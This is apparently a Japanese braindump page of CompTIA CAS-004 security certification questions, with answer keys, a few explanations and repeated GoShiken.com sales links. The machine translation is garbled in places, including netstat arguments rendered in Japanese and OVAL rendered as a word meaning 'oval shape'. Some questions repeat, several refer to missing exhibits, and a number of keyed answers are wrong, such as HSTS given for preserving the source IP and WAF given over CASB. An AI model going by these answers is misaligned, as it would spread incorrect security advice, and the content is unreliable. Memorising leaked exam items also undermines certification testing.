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最新問題: 1
ある中小企業は最近、軍事計画用のプロトタイプ技術を開発しました。同社のセキュリティエン

ジニアは、新しく開発された機密情報が盗まれる可能性を懸念しています。

脅威をプロアクティブに管理するためにセキュリティエンジニアが行うべきことは次のうちど

れですか?
A. OSINT技術を使用して脅威を評価および分析します。
B. MITRE ATT&CKフレームワークを利用して TTRをマッピングします。
C.会社に関連する情報共有コミュニティに参加します。
D.データセキュリティのベストプラクティスなど、新たな脅威に対処するためにセキュリティ
意識向上トレーニングを更新します。

Answer: D (メーッセージを残す)

最新問題: 2
小規模銀行の最高情報セキュリティ責任者 (CISO)には、コアバンキングアプリケーションの
サードパーティ侵入テストを毎年実施する必要があるというコンプライアンス要件があります。

次のサービスのうち、最も低いリソース使用量でコンプライアンス要件を満たすサービスはどれ

ですか?
A.赤チーム狩り
B.ホワイトボックステスト
C.ブルーラーン演習
D.ブラックボックステスト
E.グレーボックステスト
Answer: (解答を表示する)

最新問題: 3
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ソフトウェア開発会社の管理者は、デジタル署名を使用して会社のアプリケーションの整合性を

保護したいと考えています。開発者らは、すべてのアプリケーションで署名プロセスが失敗し続

けると報告しています。ただし、署名に使用されたのと同じキーペアがWebサイト上で適切に機
能しており、有効であり、信頼できる CAによって発行されています。
署名が失敗する原因として最も考えられるのは次のうちどれですか?
A.開発者向けに NTPサーバーが正しく設定されていません。
B.証明書は間違ったキーの使用法に設定されています。
C. CAは証明書を CRL_に含めています
D.各アプリケーションには、証明書に SANまたはワイルドカードエントリがありません。
Answer: (解答を表示する)

最新問題: 4

組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションを初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:
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最新問題: 5
サイバーセキュリティエンジニアは、システムの脆弱性を分析します。このツールは楕円形を作

成しました。出力としての結果文書。エンジニアが結果を人間が読める形式で解釈できるように

するには、次のうちどれですか?
(2つ選択してください。)
A. XMLスタイルシート
B.テキストエディタ
C.デバッグユーティリティ
D. OOXMLエディター
E.イベントビューア
F. SCAPツール
Answer: B,F (メーッセージを残す)

最新問題: 6
企業の財務部門は、システム上の暗号化されていないファイルにデータをエクスポートする新し

い支払いシステムを導入しました。同社はファイルに制御を導入し、適切な担当者のみがアクセ

スを許可されたようにしました。

この状況で部門が使用したリスク手法は次のうちどれですか?
A.軽減する
B.避ける
C.受け入れる
D.転送
Answer: (解答を表示する)

最新問題: 7
金融業界の企業は、相当数の顧客からの取引リクエストを電子メールで受け取ります。CIRTは、
セキュリティ侵害を認める根本原因の分析を行っているときに、侵害されたアカウントのいくつ

かにアクセスできる顧客担当の従業員が使用するデスクトップの IPアドレスからのポート 80ト
ラフィックの異常な急増を相関させます。その後のデバイスのウイルス対策スキャンでは結果は

返されませんが、CIRTはデバイス上で文書化されていないサービスが実行されていることを発
見します。次の制御のうち、将来同様の検出時間を短縮するものはどれですか。

A.ホストベースのファイアウォールを展開し、ログを SIEMに送信する
B.ウイルス対策 DAT更新の頻度を 1日 2回に増やす
C.受信した添付ファイルを自動的に隔離するようにモールを設定する
D.アプリケーションのブラックリストの実装
Answer: (解答を表示する)

最新問題: 8
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セキュリティエンジニアは、従業員が有線ネットワーク上の範囲内の IPアドレスを取得すると
いう問題のトラブルシューティングを行っています。エンジニアが同じポートに別の PCを追加
すると、その PCは正しい範囲の IPアドレスを取得します。次に、エンジニアは従業員の PCを
ワイヤレスネットワークに接続しましたが、その PCが依然として適切な範囲の IPアドレスを
取得していないことに気づきました。PCはすべてのソフトウェアとウイルス対策定義が最新で
あり、IPアドレスは APIPAアドレスではありません。問題が最も考えられるのは次のうちどれで
すか?
A.会社は VLAN割り当てに 802.1xを使用しており、ユーザーまたはコンピュータが間違ったグ
ループに属しています。

B. DHCPサーバーが利用できないため、IPアドレスが PCに返されません。
C. DHCPサーバーは、有線インターフェイス用の PCの MACアドレスを予約しています。
D.WiFiネットワークはWPA2 Enterpriseを使用しており、コンピューター証明書の SANフィー
ルドに間違った IPアドレスが含まれています。
Answer: A (メーッセージを残す)

最新問題: 9
セキュリティ担当者は、マーケティング部門が組織のソーシャルメディアプラットフォームのセ

キュリティを確保するのを支援しています。主な懸念事項は次の 2つです。
最高マーケティング責任者 (CMO)の電子メールが部門全体でユーザー名として使用されていま
す

パスワードは部門内で共有されています

アナリストが推奨するのに最適なコントロールは次のうちどれですか?
A.すべてのマーケティングユーザーに対して複数のソーシャルメディアアカウントを作成し、
アクションを分離します。

B.各メディアプラットフォームにどの OAuth構成が設定されているかを決定するために、定期
的かつスケジュールされたレビューを実施します。

C.すべてのユーザーに対して MFAを構成して、他の認証への依存を減らします。
D.共有されるパスワードが十分であり、どこにも書き留められていないことを確認してくださ
い。

Answer: (解答を表示する)

最新問題: 10
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組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションを初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。



Answer:

最新問題: 11
ある企業は、より迅速に市場投入するための戦略の一環として、ソフトウェアの開発にサード

パーティを雇いました。会社のポリシーでは、次の要件が概説されています。

実稼働ソフトウェアをコンテナーレジストリに公開するために使用される資格情報は、安全な場

所に保存する必要があります。

アクセスは、サードパーティ開発者が資格情報を直接読み取ることができないように、パイプラ

インサービスアカウントに制限する必要があります。

これらの共有資格情報へのアクセスを保存および監視するための最良の推奨事項は次のうちどれ

ですか?
A. MFA
B. TPM
C.キーコンテナー
D.ローカルの安全なパスワードファイル
Answer: (解答を表示する)

最新問題: 12
組織には以下の内容を含む契約文書が必要です。

※対象となる内容の概要
*目標と目的
*各当事者のパフォーマンス指標
*すべての当事者による契約の管理方法の見直し
この種の契約文書を最も適切に説明しているのは次のうちどれですか?
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A. SLA
B. BAA
C.秘密保持契約
D. ISA
Answer: (解答を表示する)
説明

サービスレベルアグリーメントは、サービスプロバイダーと顧客の間の契約で、提供されるサー

ビスのレベル、それらのサービスを測定する基準、および両当事者による契約の管理方法の概要

を示します。SLAには、紛争解決および契約の終了に関する規定も含まれています。

最新問題: 13
セキュリティアナリストは、承認されたパブリック SSHジャンプサーバー上の異常なアクティ
ビティに関するアラートを SIEMから受け取ります。さらに調査するために、アナリスト
は /var/log/auth.log: graphic.ssh_auth_logからイベントログを直接取得します。
ログ内のアクティビティによる潜在的なリスクに最もよく対処するのは、次のアクションのうち

どれですか?
A. AllowUsers構成ディレクティブの変更
B.サービスアカウントのパスワードが正しく設定されていないことを警告する
C.ホストキー設定の実装
D.外部ポート 22へのアクセスを制限する
Answer: (解答を表示する)

最新問題: 14
セキュリティオペレーションセンターのアナリストは、データベースサーバーと未知の外部 IP
アドレス間の異常なアクティビティを調査し、次のデータを収集しました。

* dbadminは午前 7時 30分に最後にログインし、午前 8時 05分にログアウトしました。
*外部アドレスへの永続的な TCP/6667接続が午前 7時 55分に確立されました。接続はまだアク
ティブです。

*接続を維持するために転送されるバイト数を除けば、接続の開始以来、1時間あたりわずか数キ
ロバイトのデータ転送のみです。

* PCAPからのアウトバウンド要求ペイロードのサンプルには、ASCIIコンテンツ「JOIN

#community」が示されていました。
最も考えられる根本原因は次のうちどれですか?
A. SQLインジェクションを使用してデータベースサーバーからデータが抽出されました。
B.仮想通貨マイニングのためにシステムが乗っ取られました。
C.ボットネット型トロイの木馬がデータベースサーバーにインストールされています。
D. dbadminユーザーは、インターネットリレーチャットを介してコミュニティにヘルプを求め
ています。

Answer: D (メーッセージを残す)
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dbadminユーザーは、インターネットリレーチャットを通じてコミュニティに支援を求めてい
ます。与えられた情報の手がかりは、dbadminユーザーが午前 7時 55分に外部アドレスへのイン
ターネットリレーチャット (IRC)接続を確立したことを示しています。この接続はまだアクティ
ブであり、開始以来数キロバイトのデータしか転送されていません。接続。「JOIN #community」の

サンプルアウトバウンドリクエストペイロードも、ユーザーが IRCチャットルームに参加しよう
としていることを示唆しています。これは、dbadminユーザーが IRC接続を使用して、問題に関
するヘルプをコミュニティに問い合わせていることを示唆しています。したがって、異常なアク

ティビティの根本原因は、dbadminユーザーが IRC経由でコミュニティに助けを求めている可能
性があります。参照: CompTIA Advanced Security Practitioner (CASP+)スタディガイド、第 10
章、侵入および不審なアクティビティの調査。

最新問題: 15
セキュリティアナリストは、ワークステーションからの代替アウトバウンドWeb接続を追跡し
たいと考えています。アナリストの会社は、発信トラフィックを境界ファイアウォールに転送す

るオンプレミスのWebフィルタリングソリューションを使用しています。セキュリティアナリ
ストがファイアウォールから接続イベントを取得すると、送信Webトラフィックの送信元 IP
は、Webフィルタリングソリューションの変換された IPになります。ソース NATを含むこのシ
ナリオを検討します。ワークステーションからの実際のソース IPを含めるために HTTPヘッ
ダーに挿入する最良のオプションは次のうちどれですか?
A. X-Forwarded-Proto
B. X-Forwarded-For
C.キャッシュ制御
D.コンテンツセキュリティポリシー
E.厳格なトランスポートセキュリティ
Answer: E (メーッセージを残す)

最新問題: 16
ある組織は、機密の PLLおよびパスポート番号などの ID情報を処理する新しい SaaS CRMシス
テムのセキュリティ体制を評価しています。SaaS CRMシステムは、組織の現在のセキュリティ
基準を満たしていません。評価では次のことが特定されます。

1-システムの運用開始が遅れると、1日あたり 20,000ドルの収益損失が発生します。
2-固有のリスクが高い。
3-残留リスクが低い。
4-コンタクトセンターへのソリューションの展開は段階的に行われます。
次のリスク処理手法のうち、組織の要件を最もよく満たすものはどれですか?
A.リスクが高すぎて受け入れられないため、セキュリティ免除を申請します。
B.リスクを管理するために補償コントロールが実装されているため、リスクを受け入れます。
C.組織はクラウドサービスを使用しているため、リスクを SaaS CRMベンダーに転送します。
D. SaaS CRMプロバイダーとの責任共有モデルを受け入れることで、リスクを回避します。
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Answer: (解答を表示する)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 17
残念ながら、ある組織では、アプリケーションを実稼働環境に導入する前に精査するための新し

いソフトウェア保証プログラムを確立しています。アプリケーションの多くは、コンパイルされ

たバイナリとしてのみ提供されます。組織がこれらのアプリケーションを分析するために使用す

べきものは次のうちどれですか? (2つ選択してください)。
A.サードパーティの依存関係管理
B. IAST
C. IDE SAST
D.回帰テスト
E.ファズテスト
F. SAST
Answer: C,E (メーッセージを残す)

最新問題: 18
法医学対応でステガナリシス技術を使用する利点は次のうちどれですか?
A. DRMで保護されたメディアに対する独自の攻撃の頻度の特定
B.安全な音声通信で使用される対称暗号の解読
C. .wavファイル内のデータの最下位ビットエンコーディングの識別
D.取得した証拠の保管過程の維持
Answer: C (メーッセージを残す)

最新問題: 19
ある企業のセキュリティエンジニアは、新製品の市場投入で自社に先を越されている競合他社に

よる最近の挫折を軽減するシステムを設計しています。いくつかの製品には、エンジニアの会社

によって開発された独自の機能強化が組み込まれています。ネットワークにはすでに SEIMと
NIPSが含まれており、すべてのユーザーアクセスに 2FAが必要です。関連するリスクを軽減す
るために、エンジニアは次のシステムのうちどれを NEXTとして検討すべきですか?
A. DLP
B. UTM
C.データフローの強制
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D.メールゲートウェイ
Answer: A (メーッセージを残す)

最新問題: 20
セキュリティアナリストは、同社のWAFが適切に構成されていないことを発見しました。メイ
ンWebサーバーが侵害され、悪意のあるリクエストの 1つで次のペイロードが見つかりました。

この脆弱性を軽減するのに最も適したものは次のうちどれですか?
A.データエンコーディング
B.入力チェック
C.ネットワーク侵入防止
D.キャプチャ
Answer: (解答を表示する)

最新問題: 21
A社がB社を買収しました。
セキュリティエンジニアは監査中に、B社の環境にパッチが適切に適用されていないことを発見
しました。これに応じて、A社は、B社のインフラストラクチャが A社のセキュリティプログラ
ムに統合されるまで、2つの環境の間にファイアウォールを設置しました。
次のリスク処理手法のうちどれが使用されましたか?
A.軽減する
B.回避
C.受け入れる
D.転送
Answer: A (メーッセージを残す)

最新問題: 22
セキュリティアナリストは、従業員からセキュリティチームに宛てられた一連の不審な電子メー

ルを調査しています。このメールは現在のビジネスパートナーから送信されたものと思われます

が、画像や URLは含まれていません。同社が代わりに使用しているセキュリティツールによって
メッセージから画像や URLは削除されておらず、電子メールには次の内容がプレーンテキストで
のみ含まれています。

セキュリティアナリストは次のうちどれを実行する必要がありますか?
A.ビジネスパートナーから発信されたすべてのメッセージを自動的に隔離するように電子メー
ルゲートウェイを構成します。

B.ゼロデイウイルスに感染した場合に備えて、影響を受ける従業員のデバイスをネットワークか
ら引き出します。
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C.ビジネスパートナーのセキュリティ部門に連絡し、電子メールイベントについて警告します。
D.ビジネスパートナーの IPアドレスを境界ファイアウォールでブロックします。
Answer: C (メーッセージを残す)

最新問題: 23
セキュリティアナリストは、Linuxワークステーション上のネットワーク接続を確認し、コマンド
ラインを使用してアクティブな TCP接続を調べています。
アクティブなインターネット接続のみを表示するには、次のコマンドのうちどれを実行するのが

最適ですか?
A. sudo netstat -plntu | grep -v "外国の住所"
B. sudo netstat -antu | grep "聞く" | awk '{print$5}'
C. sudo netstat -pnut | grep -P ^tcp
D. sudo netstat -nlt -p | grep "確立"
E. sudo netstat -pnut -w |列 -t -s $'\w'
Answer: (解答を表示する)

最新問題: 24
セキュリティ管理者は、セキュリティ実装ガイドラインに従ってアカウントポリシーを構成しま

した。ただし、アカウントは依然としてブルートフォース攻撃を受けやすいようです。次の設定

は、既存のコンプライアンスガイドラインを満たしています。

少なくとも 15文字が必要です
1つの番号を使用する必要があります
大文字を 1つ使用する必要があります
最後に使用した 12個のパスワードのうちの 1つであってはなりません
追加のセキュリティを提供するには、次のポリシーのうちどれを追加する必要がありますか?
A.共有アカウント
B.時間ベースのログイン
C.パスワード履歴
D.アカウントのロックアウト
E.パスワードの複雑さ
Answer: D (メーッセージを残す)

最新問題: 25
多数の電子メールが報告されており、セキュリティアナリストは電子メールから次の情報を調査

しています。
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画像処理の一環として、分析者が最初に実行すべきステップは次のうちどれですか?
A.「Return-Path」フィールドと「Received」フィールドを比較します。
B. SPF検証は成功し、誤検知であるため、メールを無視します。
C.最後の「Received」ヘッダーをドメインの DNSエントリと照合して検証します。
D.電子メールアドレス carl b@comptia1 comをブロックします。このアドレスは対象分野の専
門家にスパムを送信しているためです。

Answer: A (メーッセージを残す)

最新問題: 26
認証を必要としない一連の負荷分散された APIにアクセスしようとすると、クライアントから速
度の低下が報告されます。APIをホストするサーバーの CPU使用率が高くなっています。APIの
前にあるWAFではアラートが見つかりません。
パフォーマンスの問題をタイムリーに解決するためにセキュリティエンジニアが推奨するのは

次のうちどれですか?
A. APIに OAuth 2.0を実装します。
B. APIにレート制限を実装します。
C.WAFにジオブロッキングを実装します。
D. API上で入力検証を実装します。
Answer: A (メーッセージを残す)

最新問題: 27
セキュリティアナリストはバッファオーバーフロー攻撃の可能性を調査しています。次の出力が

ユーザーのワークステーションで見つかりました。

グラフィック.linux_randomization.prg
次のテクノロジーのうち、メモリセグメントの操作を軽減できるのはどれですか?
A. DEP
B. NXビット
C. HSM
D. ASLR
Answer: D (メーッセージを残す)

最新問題: 28
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企業はワークロードをオンプレミスのみの ITインフラストラクチャからクラウドに移行したい
と考えていますが、必要なすべての制御を実装することはできません。この実装に関連するリス

クを最も適切に説明しているものは次のうちどれですか?
A.ベンダーロックアウト
B.コンプライアンスリスク
C.ベンダーロックイン
D.ガバナンスの喪失
Answer: B (メーッセージを残す)

最新問題: 29
リソースがクラウド環境で実行されている場合に最適な災害復旧ソリューションは次のうちどれ

ですか?
A.リモートプロバイダー BCDR
B.プライマリプロバイダー BCDR
C.クラウドプロバイダーBCDR
D.代替プロバイダー BCDR
Answer: C (メーッセージを残す)

最新問題: 30
セキュリティエンジニアは、組織の現在のソフトウェア開発業務を監査しており、複数のオープ

ンソースライブラリが組織のソフトウェアに統合されていることを発見しました。この組織は現

在、開発したソフトウェアに対して SASTと DASTを実行しています。
オープンソースライブラリのセキュリティを確保するために、組織は次のどれを SDLCに組み込
む必要がありますか?
A. SDLCセキュリティガイドラインを実装します。
B.オープンソースライブラリに対して追加の SAST/DASTを実行します。
C.ライブラリのバージョンを追跡し、CVE Webサイトで関連する脆弱性を監視します。
D.オープンソースライブラリの単体テストを実行します。
Answer: C (メーッセージを残す)

最新問題: 31
エネルギー会社は、過去四半期に使用された天然ガスの平均圧力を報告する必要があります。PLC
は、必要なレポートを作成するヒストリアンサーバーにデータを送信します。

次のヒストリアンサーバーの場所のうち、企業が IT環境で必要なレポートを取得できるのはど
れですか?
A. IT環境では、PLCが環境から IT環境にデータを送信できるようにします。
B.と IT環境の間でスクリーンされたサブネットを使用します。
C.環境内で、IT環境から環境内へ VPNを使用します。
D.環境内で、環境への ITトラフィックを許可します。
Answer: A (メーッセージを残す)
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有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 32
セキュリティオペレーションセンターのアナリストは、データベースサーバーと未知の外部 IP
アドレス間の異常なアクティビティを調査し、次のデータを収集しました。

* dbadminは午前 7時 30分に最後にログインし、午前 8時 05分にログアウトしました。
*外部アドレスへの永続的な TCP/6667接続が午前 7時 55分に確立されました。接続はまだアク
ティブです。

*接続を維持するために転送されるバイト数を除けば、接続の開始以来、1時間あたりわずか数キ
ロバイトのデータ転送のみです。

* PCAPからのアウトバウンド要求ペイロードのサンプルには、ASCIIコンテンツ「JOIN

#community」が示されていました。
最も考えられる根本原因は次のうちどれですか?
A. SQLインジェクションを使用してデータベースサーバーからデータが抽出されました。
B.仮想通貨マイニングのためにシステムが乗っ取られました。
C.ボットネット型トロイの木馬がデータベースサーバーにインストールされています。
D. dbadminユーザーは、インターネットリレーチャットを介してコミュニティにヘルプを求め
ています。

Answer: (解答を表示する)
説明

dbadminユーザーは、インターネットリレーチャットを通じてコミュニティに支援を求めてい
ます。与えられた情報の手がかりは、dbadminユーザーが午前 7時 55分に外部アドレスへのイン
ターネットリレーチャット (IRC)接続を確立したことを示しています。この接続はまだアクティ
ブであり、開始以来数キロバイトのデータしか転送されていません。接続。「JOIN #community」の

サンプルアウトバウンドリクエストペイロードも、ユーザーが IRCチャットルームに参加しよう
としていることを示唆しています。これは、dbadminユーザーが IRC接続を使用して、問題に関
するヘルプをコミュニティに問い合わせていることを示唆しています。したがって、異常なアク

ティビティの根本原因は、dbadminユーザーが IRC経由でコミュニティに助けを求めている可能
性があります。参考資料: CompTIA Advanced Security Practitioner (CASP+)スタディガイド、第
10章、侵入と不審なアクティビティの調査。

最新問題: 33

https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html
https://www.jpnpdf.com/CompTIA.CAS-004.v2023-10-26.q186-mondaishu.html


セキュリティアナリストは次の出力をレビューしています。

このタイプの攻撃を最も効果的に軽減できるのは次のうちどれですか?
A. IDSの実装
B.ハニーポットのデプロイ
C.ネットワークファイアウォールのインストール
D.WAFをインラインに配置する
Answer: D (メーッセージを残す)

最新問題: 34
ある企業は、顧客向けの本番システムのほとんどをクラウド向けの本番システムに移行していま

す。IaaSは使用されるサービスモデルです。最高経営責任者は、利用可能な暗号化の種類を懸念
しており、ソリューションには最高レベルのセキュリティが必要であると要求しています。

クラウドセキュリティエンジニアは実装段階で次の暗号化方式のうちどれを選択する必要があ

りますか?
A.アレイコントローラーベース
B.インスタンスベース
C.プロキシベース
D.ストレージベース
Answer: (解答を表示する)

最新問題: 35
セキュリティアナリストは、次のアクティビティを示す多数の SIEMイベントに気づきました。

アナリストは次の対応アクションのうちどれを最初に実行する必要がありますか?
A.すべての Microsoft Windowsエンドポイントで powershell.exeを無効にします。
B. Microsoft Windows Defenderを再起動します。
C. 40.90.23.154をブロックするようにフォワードプロキシを構成します。
D.エンドポイントのローカル管理者権限を無効にします。
Answer: C (メーッセージを残す)
説明
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データの漏洩を最優先にして、最初にすべての悪意のあるトラフィックを遮断し、次に内部の混

乱をクリーンアップします。

最新問題: 36
企業の SOCは、特定の脆弱性を利用したアクティブなキャンペーンに関する脅威インテリジェ
ンスを受け取りました。同社は、この活発なキャンペーンに対して脆弱かどうかを判断したいと

考えています。

企業はこの決定を行うために次のどれを使用する必要がありますか?
A.脅威ハンティング
B.サイバーキルチェーン
C. SIEMツール内のログ分析
D.システム侵入テスト
Answer: D (メーッセージを残す)

最新問題: 37
最近、アプリケーションサーバーが TLS 1.3を優先するようにアップグレードされたため、ユー
ザーはクライアントをサーバーに接続できなくなりました。エラーの再現が試みられたことが確

認されており、クライアントから次のような報告を受けています。

ERR_SSL_VERSION_OR_CIPHER_MISMATCH
根本原因である可能性が最も高いのは次のうちどれですか?
A.クライアントアプリケーションは PFSをテストしています。
B.クライアントアプリケーションは、GCMで AES-256を使用するように構成されています。
C.クライアントアプリケーションは ECDHEを使用するように構成されています。
D.クライアントアプリケーションは RC4を使用するように構成されています。
Answer: D (メーッセージを残す)

最新問題: 38
新しいWebサーバーは、新しいセキュア・バイ・デザイン原則と PCI DSSに準拠する必要があり

ます。これには、経路上での攻撃のリスクを軽減することが含まれます。セキュリティアナリスト

が次のWebサーバー構成をレビューしています。

ビジネス要件をサポートするには、セキュリティアナリストが削除する必要がある暗号は次のう

ちどれですか?
A. TLS_AES_128_CCM_8_SHA256
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B. TLS_AES_128_GCM_SHA256
C. TLS_CHACHA20_POLY1305_SHA256
D. TLS_DHE_DSS_WITH_RC4_128_SHA
Answer: C (メーッセージを残す)

最新問題: 39
開発者は、安全な外部向けWebアプリケーションを開発したいと考えています。開発者は、次の
分野のツール、方法論、記事、ドキュメントを作成するオンラインコミュニティを探しています。

Webアプリケーションのセキュリティ次のうち、最良のオプションはどれですか?
A. PCI DSS
B. CSA
C. OWASP
D. ICANN
E. NIST
Answer: C (メーッセージを残す)

最新問題: 40
セキュリティアナリストは、次のアクティビティを示す多数の SIEMイベントに気づきました。

アナリストは次の対応アクションのうちどれを最初に実行する必要がありますか?
A. Microsoft Windows Defenderを再起動します。
B. 40.90.23.154をブロックするようにフォワードプロキシを構成します。
C.エンドポイントのローカル管理者権限を無効にします。
D.すべての Microsoft Windowsエンドポイントで powershell.exeを無効にします。
Answer: B (メーッセージを残す)

最新問題: 41
セキュリティアナリストは、承認されたパブリック SSHジャンプサーバー上の異常なアクティ
ビティに関するアラートを SIEMから受け取ります。さらに調査するために、アナリスト
は /var/log/auth.logからイベントログを直接取得します。
graphic.ssh_auth_log。
ログ内のアクティビティによる潜在的なリスクに最もよく対処するのは、次のアクションのうち

どれですか?
A.ホストキー設定の実装
B.外部ポート 22へのアクセスを制限する
C. AllowUsers構成ディレクティブの変更
D.サービスアカウントのパスワードが正しく設定されていないことを警告する
Answer: C (メーッセージを残す)
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最新問題: 42
セキュリティエンジニアは、企業ネットワークからの安全でない接続をすべて閉じるように依頼

されました。エンジニアは、企業の UTMがユーザーに IMAPS経由の電子メールのダウンロード
を許可しない理由を理解しようとしています。エンジニアは理論を策定し、ファイアウォール ID
58を作成してテストを開始します。ユーザーは代わりに IMAPを使用することで電子メールを正
しくダウンロードできるようになります。ネットワークは 3つの VLANで構成されます。

セキュリティエンジニアは UTMファイアウォールルールを調べて、次のことを発見しました。

IMAPSが企業ユーザーネットワーク上で適切に機能することを確認するには、セキュリティエ
ンジニアが行うべきことは次のうちどれですか?
A. IMAPSファイアウォールルールを作成して、電子メールが確実に許可されるようにします。
B.企業のコンピュータにメールサーバー証明書がインストールされていることを確認します。
C. UTM証明書が企業コンピュータにインポートされていることを確認します。
D.電子メールサービスプロバイダーに連絡し、会社の IPがブロックされているかどうかを確認
します。

Answer: C (メーッセージを残す)

最新問題: 43
開発者は、プログラムの各モジュールの整合性を維持し、悪意のあるユーザーがコードを変更で

きないようにしたいと考えています。

開発者が実行するのに最適なのは次のうちどれですか? (2つお選びください。)
A.信頼できるサードパーティによるコード署名を利用します。
B.プログラムをパスワード付きで圧縮します。
C. DACLを読み取り専用にします。
D.証明書ベースの認証を実装します。
E. MD5ハッシュを検証します。
F. 3DESで暗号化します。
Answer: (解答を表示する)

最新問題: 44
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ある企業はホリデーシーズンに備えて、小売販売を管理するシステムを再設計し、クラウドサー

ビスプロバイダーに移行しました。新しいインフラストラクチャは、会社の可用性要件を満たし

ていませんでした。事後分析中に、次の問題が明らかになりました。

1.海外のユーザーは、Webページ上の画像が最初に読み込まれるときに遅延が発生すると報告し
ました。

2.レポート処理中に、ユーザーが注文しようとしたときに在庫の問題を報告しました。
3. 10台の新しい APIサーバーが追加されたにもかかわらず、ピーク時にサーバー全体の負荷が
高かった。

将来これらの問題を回避するために、組織が実装するのに最適なインフラストラクチャ設計の変

更は次のうちどれですか?
A.分散 CDN経由で静的コンテンツを提供し、中央データベースの読み取りレプリカを作成して
そこからレポートを取得し、パフォーマンスに基づいて APIサーバーを自動スケールします。
B.読み取り回数が少ないオブジェクトストレージバケットからイメージを提供し、異なるリー
ジョン間でデータベースをレプリケートし、負荷に基づいて APIサーバーを動的に作成します。
C.画像を配信するサーバーの帯域幅を増やし、CDNを使用し、データベースを非リレーショナル
データベースに変更し、10個の APIサーバーを 2つのロードバランサーに分割します。
D.静的コンテンツのオブジェクトストレージを異なるリージョンに提供し、マネージドリレー
ショナルデータベースのインスタンスサイズを増やし、10個の APIサーバーを複数のリージョ
ンに分散します。

Answer: A (メーッセージを残す)

最新問題: 45
セキュリティエンジニアは、次の要件を満たすソリューションを推奨する必要があります。

プロバイダーのネットワーク内の機密データを特定する

会社および規制のガイドラインへのコンプライアンスを維持する

内部関係者の脅威、特権ユーザーの脅威、侵害されたアカウントを検出して対応する暗号化、トー

クン化、アクセス制御などのデータ中心のセキュリティを強化するこれらの要件に対処するため

に、セキュリティエンジニアが推奨するソリューションは次のうちどれですか?
A.WAF
B. CASB
C. SWG
D. DLP
Answer: A (メーッセージを残す)

最新問題: 46
組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。
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各結果は複数回使用される場合があります。

シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:



有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 47
脆弱性アナリストは、企業の社内開発ソフトウェアにゼロデイ脆弱性を特定しました。現在の脆

弱性管理システムにはこの脆弱性をチェックする機能がないため、エンジニアに脆弱性管理シス

テムの作成を依頼しました。

これらの要件を満たすのに最も適しているのは次のうちどれですか?
A. ARF
B.オーバル
C. ISAC
D. Node.js
Answer: C (メーッセージを残す)

最新問題: 48
ある企業は、管理された検出および対応サービスを実行する MSSPにアウトソーシングしていま
す。MSSPでは、サーバーをログ集約としてネットワーク内に配置する必要があり、MSSPアナリ
ストへのリモートアクセスが可能になります。

重要なデバイスはログアグリゲーターにログを送信し、データはマルチテナントクラウドにアー

カイブされる前に 12か月間ローカルに保存されます。その後、データは分析のためにログ集合体
から MSSPデータセンターのパブリック IPアドレスに送信されます。
セキュリティエンジニアはソリューションのセキュリティを懸念しており、次の点に注意してい

ます。

*重要なデバイスは平文ログをアグリゲーターに送信します。
*ログアグリゲータはフルディスク暗号化を利用します。
*ログアグリゲーターはポート 80経由で分析サーバーに送信します。
* MSSP分析では、MFAを備えた SSL VPNを利用してログアグリゲーターにリモートアクセス
します。

※データは圧縮・暗号化されてクラウド上に保存されます。
エンジニアが最も懸念すべきことは次のうちどれですか?
A.リモートアクセス VPNからのネットワークブリッジング
B.ログ集約サーバーによって導入されたハードウェアの脆弱性
C.転送中のデータの暗号化
D.クラウド内のマルチナンシーとデータ残存
Answer: C (メーッセージを残す)
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最新問題: 49
電子商取引会社はオンプレミスでWebサーバーを実行しており、リソース使用率は通常、
30%。過去 2回のホリデーシーズン中に、接続数が多すぎるためにサーバーでパフォーマンスの
問題が発生し、一部の顧客が注文を完了できませんでした。同社は、この種のパフォーマンスの問

題を回避するためにサーバー構成の変更を検討しています。

最も費用対効果の高いソリューションは次のうちどれですか?
A.新しいサーバーを購入し、アクティブ/アクティブクラスターを作成します。
B.オペレーティングシステムを変更します。
C.サーバーを新しいサーバーにアップグレードします。
D.サーバーをクラウドプロバイダーに移動します。
Answer: D (メーッセージを残す)

最新問題: 50
複数のサードパーティ組織を利用してサービスを提供している大手銀行の最高情報責任者 (CIO)
は、各パーティによる顧客データの取り扱いとセキュリティに懸念を抱いています。リスクを最

適に管理するには次のどれを実装する必要がありますか?
A.サプライヤーの重要性を評価し、契約更新に応じてランク付けする審査委員会を設置します。
契約更新時に、設計と運用管理を契約と監査権条項に組み込みます。専任のリスク管理チームと

ともに、サプライヤーの契約更新後を定期的に評価します。

